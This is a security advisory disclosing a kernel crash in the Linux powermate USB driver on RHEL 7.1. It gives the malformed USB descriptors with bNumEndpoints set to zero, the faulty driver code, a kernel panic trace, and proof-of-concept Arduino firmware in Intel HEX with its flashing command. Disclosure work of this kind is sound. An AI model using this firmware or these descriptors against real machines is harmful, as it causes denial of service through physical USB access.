Linux powermate Null Pointer Dereference

`OS-S Security Advisory 2016-13  
Linux powermate Nullpointer Dereference   
  
Date: March 4th, 2016  
Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg  
CVE: not yet assigned  
CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)  
Title: Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on invalid   
USB device descriptors (powermate driver)  
Severity: Critical. The Kernel panics. A reboot is required.  
Ease of Exploitation: Trivial  
Vulnerability type: Wrong input validation  
Products: RHEL 7.1 including all updates  
Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the   
CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7)  
Vendor: Red Hat  
Vendor contacted: November, 12th 2015  
PDF of the advisory: https://os-s.net//advisories/OSS-2016-13_powermate.pdf  
  
Abstract:  
The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of buggy USB   
device requiring the powermate driver.  
  
Detailed product description:  
We confirmed the bug on the following system:  
RHEL 7.1  
Kernel 3.10.0-229.20.1.el7.x86_64  
Further products or kernel versions have not been tested.  
How reproducible: Always  
Actual results: Kernel crashes.   
  
Description:  
The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo   
(github.com/schumilo) using the following device descriptor:  
  
[*] Device-Descriptor  
bLength: 0x12  
bDescriptorType: 0x1  
bcdUSB: 0x200  
bDeviceClass: 0x3  
bDeviceSubClass: 0x0  
bDeviceProtocol: 0x0  
bMaxPacketSize: 0x40  
idVendor: 0x77d  
idProduct: 0x4aa  
bcdDevice: 0x100  
iManufacturer: 0x1  
iProduct: 0x2  
iSerialNumbers: 0x3  
bNumConfigurations: 0x1  
  
  
  
This is the configuration descriptor containing the malicious value for   
bNumEndpoints causing the crash. A zero value for bNumEndpoints crashes the   
system.  
  
  
  
  
  
  
  
[*] Configuration-Descriptor  
bLength: 0x9  
bDescriptorType: 0x2  
wTotalLength: 0x27  
bNumInterfaces: 0x1  
bConfigurationValue: 0x1  
iConfiguration: 0x0  
bmAttributes: 0x0  
bMaxPower: 0x31  
[*] Interface-Descriptor  
bLength: 0x9  
bDescriptorType: 0x4  
bInterfaceNumber: 0x0  
bAlternateSetting: 0x0  
bNumEndpoints: 0x0  
bInterfaceClass: 0x0  
bInterfaceSubClass: 0x0  
bInterfaceProtocol: 0x0  
[*] Endpoint-Descriptor:  
bLength: 0x7  
bDescriptorType: 0x5  
bEndpointAddress: 0x81   
bmAttribut: 0x1   
wMaxPacketSize: 0x404  
bInterval: 0xc  
[*] Endpoint-Descriptor:  
bLength: 0x7  
bDescriptorType: 0x5  
bEndpointAddress: 0x1   
bmAttribut: 0x2   
wMaxPacketSize: 0x4  
bInterval: 0xc  
[*] Endpoint-Descriptor:  
bLength: 0x7  
bDescriptorType: 0x5  
bEndpointAddress: 0x82   
bmAttribut: 0x1  
wMaxPacketSize: 0x4  
bInterval: 0xc  
  
The powermate driver assumes that there will be at least one endpoint-  
descriptor.  
If the interface-descriptor contains a zero-value for bNumEndpoints or no   
endpoint-descriptor is provided, the driver tries to dereference a null-  
pointer and the kernel crashes:  
  
  
****  
$ nm powermate.ko.debug | grep powermate_probe  
00000000000004b0 t powermate_probe  
$ addr2line -e powermate.ko.debug 0x4DB  
/usr/src/debug/kernel-3.10.0-229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_64/include/uapi/linux/usb/ch9.h:501  
****  
  
**** CentOS-Kernel linux-3.10.0-229.14.1.el7 (includes/uapi/linux/usb/ch9.c)  
...  
498 static inline int usb_endpoint_xfer_int( /* used by usb_endpoint_is_int_in   
*/  
499 const struct usb_endpoint_descriptor *epd)  
500 {  
501 return ((epd->bmAttributes & USB_ENDPOINT_XFERTYPE_MASK) == /*   
Possible Nullpointer-Dereference */  
502 USB_ENDPOINT_XFER_INT);  
503 }  
  
...  
552 static inline int usb_endpoint_is_int_in( /* used by powermate_probe */  
553 const struct usb_endpoint_descriptor *epd)  
554 {  
555 return usb_endpoint_xfer_int(epd) && usb_endpoint_dir_in(epd);  
557 }  
...  
****  
  
  
**** CentOS-Kernel linux-3.10.0-229.14.1.el7 (drivers/input/misc/powermate.c)  
...  
311 endpoint = &interface->endpoint[0].desc; /* Possible Nullpointer */  
312 if (!usb_endpoint_is_int_in(endpoint)) /* bad function call... */  
313 return -EIO;  
...  
****  
  
  
Proof of Concept:  
For a proof of concept, we are providing an Arduino Leonardo firmware file. This   
firmware will emulate the defective USB device.  
  
  
avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U   
flash:w:binary.hex  
  
  
The firmware has been attached to this bug report.  
To prevent the automated delivery of the payload, a jumper may be used to   
connect port D3 and 3V3!  
  
Severity and Ease of Exploitation:  
The vulnerability can be easily exploited. Using our Arduino Leonardo firmware,   
only physical access to the system is required.  
  
Vendor Communication:  
We contacted Red Hat on the November, 12th 2015.  
To this day, no security patch was provided by the vendor.  
Since our 90-day Responsible Discourse deadline is expired, we publish this   
Security Advisory.   
  
References:  
https://bugzilla.redhat.com/show_bug.cgi?id=1283384  
  
  
Kernel Stacktrace:  
  
[ 73.923745] usb 1-1: new full-speed USB device number 2 using xhci_hcd  
[ 74.136886] usb 1-1: config 1 interface 0 altsetting 0 has 3 endpoint   
descriptors, different from the interface descriptor's value: 0  
[ 74.171718] usb 1-1: New USB device found, idVendor=077d, idProduct=04aa  
[ 74.178540] usb 1-1: New USB device strings: Mfr=1, Product=2,   
SerialNumber=3  
[ 74.187628] usb 1-1: Product: ĉ  
[ 74.192030] usb 1-1: Manufacturer: ĉ  
[ 74.198662] usb 1-1: SerialNumber: %  
[ 74.247736] BUG: unable to handle kernel NULL pointer dereference at   
0000000000000003  
[ 74.248023] IP: [<ffffffffa03934db>] powermate_probe+0x2b/0x490 [powermate]  
[ 74.248023] PGD 0   
[ 74.248023] Oops: 0000 [#1] SMP   
[ 74.248023] Modules linked in: powermate(+) ip6t_rpfilter ip6t_REJECT   
ipt_REJECT xt_conntrack ebtable_nat ebtable_broute bridge stp llc   
ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6   
nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw ip6table_filter   
ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat   
nf_conntrack iptable_mangle iptable_security iptable_raw iptable_filter   
ip_tables bochs_drm ppdev syscopyarea sysfillrect sysimgblt ttm drm_kms_helper   
drm pcspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs libcrc32c   
sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic pata_acpi ata_piix   
libata e1000 floppy dm_mirror dm_region_hash dm_log dm_mod  
[ 74.248023] CPU: 0 PID: 2220 Comm: systemd-udevd Not tainted   
3.10.0-229.14.1.el7.x86_64 #1  
[ 74.248023] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS   
rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014  
[ 74.248023] task: ffff88000bcfa220 ti: ffff88000bd20000 task.ti: ffff88000bd20000  
[ 74.248023] RIP: 0010:[<ffffffffa03934db>] [<ffffffffa03934db>]   
powermate_probe+0x2b/0x490 [powermate]  
[ 74.248023] RSP: 0018:ffff88000bd23b90 EFLAGS: 00010286  
[ 74.248023] RAX: 0000000000000000 RBX: ffff88000bcd0090 RCX: ffff88000bd23fd8  
[ 74.248023] RDX: ffff88000be36008 RSI: ffffffffa0395120 RDI: ffff88000c525800  
[ 74.248023] RBP: ffff88000bd23be0 R08: 0000000000000246 R09: 0000000000000000  
[ 74.248023] R10: 00000000fffffffb R11: ffffffff810020d8 R12: ffff88000c525800  
[ 74.248023] R13: ffffffffa0395068 R14: 0000000000000000 R15: ffff88000bcd0090  
[ 74.248023] FS: 00007fb8082b4880(0000) GS:ffff88000fc00000(0000)   
knlGS:0000000000000000  
[ 74.248023] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b  
[ 74.248023] CR2: 0000000000000003 CR3: 000000000d9c9000 CR4:   
00000000000006f0  
[ 74.248023] DR0: 0000000000000000 DR1: 0000000000000000 DR2:   
0000000000000000  
[ 74.248023] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400  
[ 74.248023] Stack:  
[ 74.248023] 0000000000000246 ffff88000c525830 ffff88000bd23be0 ffffffff813dfba2  
[ 74.248023] ffff88000af01800 ffff88000bcd0090 ffff88000bcd0000 ffffffffa0395068  
[ 74.248023] ffff88000c525830 ffffffffa0395120 ffff88000bd23c28 ffffffff8141dc04  
[ 74.248023] Call Trace:  
[ 74.248023] [<ffffffff813dfba2>] ? __pm_runtime_set_status+0x132/0x210  
[ 74.248023] [<ffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0  
[ 74.248023] [<ffffffff813d30d7>] driver_probe_device+0x87/0x390  
[ 74.248023] [<ffffffff813d34b3>] __driver_attach+0x93/0xa0  
[ 74.248023] [<ffffffff813d3420>] ? __device_attach+0x40/0x40  
[ 74.248023] [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0  
[ 74.248023] [<ffffffff813d2b2e>] driver_attach+0x1e/0x20  
[ 74.248023] [<ffffffff813d2680>] bus_add_driver+0x200/0x2d0  
[ 74.248023] [<ffffffff813d3b34>] driver_register+0x64/0xf0  
[ 74.248023] [<ffffffff8141c1c2>] usb_register_driver+0x82/0x160  
[ 74.248023] [<ffffffffa0034000>] ? 0xffffffffa0033fff  
[ 74.248023] [<ffffffffa003401e>] powermate_driver_init+0x1e/0x1000 [powermate]  
[ 74.248023] [<ffffffff810020e8>] do_one_initcall+0xb8/0x230  
[ 74.248023] [<ffffffff810dd0ee>] load_module+0x133e/0x1b40  
[ 74.248023] [<ffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0  
[ 74.248023] [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150  
[ 74.248023] [<ffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0  
[ 74.248023] [<ffffffff81614389>] system_call_fastpath+0x16/0x1b  
[ 74.248023] Code: 0f 1f 44 00 00 55 41 ba fb ff ff ff 48 89 e5 41 57 41 56 41   
55 41 54 49 89 fc 53 48 83 ec 28 48 8b 57 08 4c 8b 7f 30 4c 8b 72 18 <41> 0f   
b6 46 03 83 e0 03 3c 03 74 19 48 83 c4 28 44 89 d0 5b 41   
[ 74.248023] RIP [<ffffffffa03934db>] powermate_probe+0x2b/0x490 [powermate]  
[ 74.248023] RSP <ffff88000bd23b90>  
[ 74.248023] CR2: 0000000000000003  
[ 74.684308] ---[ end trace b239663354a1c556 ]---  
[ 74.690568] Kernel panic - not syncing: Fatal exception  
[ 74.691540] drm_kms_helper: panic occurred, switching back to text console  
  
  
Arduino Leonardo Firmware:  
  
:100000000C94A8000C94C5000C94C5000C94C50079  
:100010000C94C5000C94C5000C94C5000C94C5004C  
:100020000C94C5000C94C5000C94C2050C942D04CE  
:100030000C94C5000C94C5000C94C5000C94C5002C  
:100040000C94C5000C94C5000C94C5000C94C5001C  
:100050000C94C5000C94C5000C94C5000C940C02C3  
:100060000C94C5000C94C5000C94C5000C94C500FC  
:100070000C94C5000C94C5000C94C5000C94C500EC  
:100080000C94C5000C94C5000C94C5000C94C500DC  
:100090000C94C5000C94C5000C94C5000C94C500CC  
:1000A0000C94C5000C94C5000C94C50009030C0306  
:1000B000FF0203032D032D032D0310031403180364  
:1000C0001E0322032D0328030000000200080E0077  
:1000D00000030401000B000000000000000000000D  
:1000E00000000000000004080201104080401020C1  
:1000F00040804080080204018040201002011080EE  
:100100001020404004040404040304050202020217  
:1001100004030202020206060606060604040202A0  
:100120000204000000002300260029002C002F00FC  
:1001300000000000250028002B002E0031000000E8  
:100140000000240027002A002D00300000C180811B  
:1001500011241FBECFEFDAE0DEBFCDBF15E0A0E077  
:10016000B1E0E0EDF3E102C005900D92A436B107D5  
:10017000D9F725E0A4E6B5E001C01D92AF37B2077C  
:10018000E1F70E94C8000C9402070C940000089547  
:10019000CF93DF93CDB7DEB7CD59D1090FB6F89421  
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:1001B00083E00E942E0361E087E00E942E0361E04D  
:1001C00088E00E942E030E9457067E012AE9E20E73  
:1001D000F11C84E093E0D70111969C938E9389E003  
:1001E00094E013969C938E93129782E2E2E1F1E001  
:1001F0009E012F5F3F4F6901D90101900D928A95B1  
:10020000E1F788E1E4E3F1E0DE01939601900D92DD  
:100210008A95E1F782E1ECE4F1E0DE01DB96019002  
:100220000D928A95E1F789E0EEE5F1E0DE01A05953  
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--   
OpenSource Security Ralf Spenneberg http://www.os-s.de  
Am Bahnhof 3-5 48565 Steinfurt Germany  
Fon: +49(0)2552 638 755 Fax: +49(0)2552 638 757  
`